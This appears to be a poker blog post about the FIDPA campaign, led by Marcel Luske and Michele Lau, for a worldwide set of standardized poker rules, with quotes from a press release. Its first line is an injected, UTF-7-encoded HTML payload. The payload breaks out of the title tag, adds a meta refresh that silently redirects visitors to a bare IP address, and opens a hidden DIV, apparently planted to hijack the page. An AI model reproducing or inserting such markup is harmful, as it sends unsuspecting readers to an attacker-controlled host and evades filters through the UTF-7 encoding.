+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

A movement that simply is not getting enough support and press in my opinion is The Federation Internationale de Poker Association’s attempt to create a set of standardized poker rules that would apply around the world. The cause is being championed by one of poker’s most prominent and well-known poker players, Marcel Luske from the Netherlands, and the complete set of standardized poker rules can now be found on the FIDPA website.

As any poker player who has ever played at more than one casino can attest to, the rules vary widely depending on where you are playing. If the poker world were to standardize the vast majority of poker rules we would no longer have the numerous issues we see every year at major tournaments. Not a tournament goes by where there is not word of some wild ruling, or strange local rule, taking precedent.

Another key player in the FIDPA cause is Michele Lau –one of my favorite people to follow on Twitter, where you’ll see lots of Tweets about coffee, horrible tenants, and bad cooking in addition to poker—who stated in a press release:

“In the wake of the recent Black Friday developments in the United States, concerning the ban of online poker, we felt that it was critical to launch the FIDPA website at this time… We believe that poker players and the industry will be well served by a standardized set of written rules. The IP Rules will help bridge the gap, as players make the transition from online to live tournaments, here in the US and when traveling around the world,”

Luske was quoted in the press release as saying:

“The new FIDPA website and The IP Rules will ultimately have a worldwide impact on the poker world. Poker has become an international sport and it’s time that the industry comes together to operate like it… It is ridiculous that all around the world, we play poker by an unwritten set of rules, not knowing what to expect. Our goal from the beginning was not to dictate how a tournament director or card room operates, but rather create a set of player friendly rules and to point out those in the industry that are willing to run fair and friendly poker,”

The Luske/Lau set of rules was not meant to dictate how tournament directors or casino staff should run their games, instead intending to simplify the major rules that govern poker, and make the rules more cohesive regardless of where you are playing.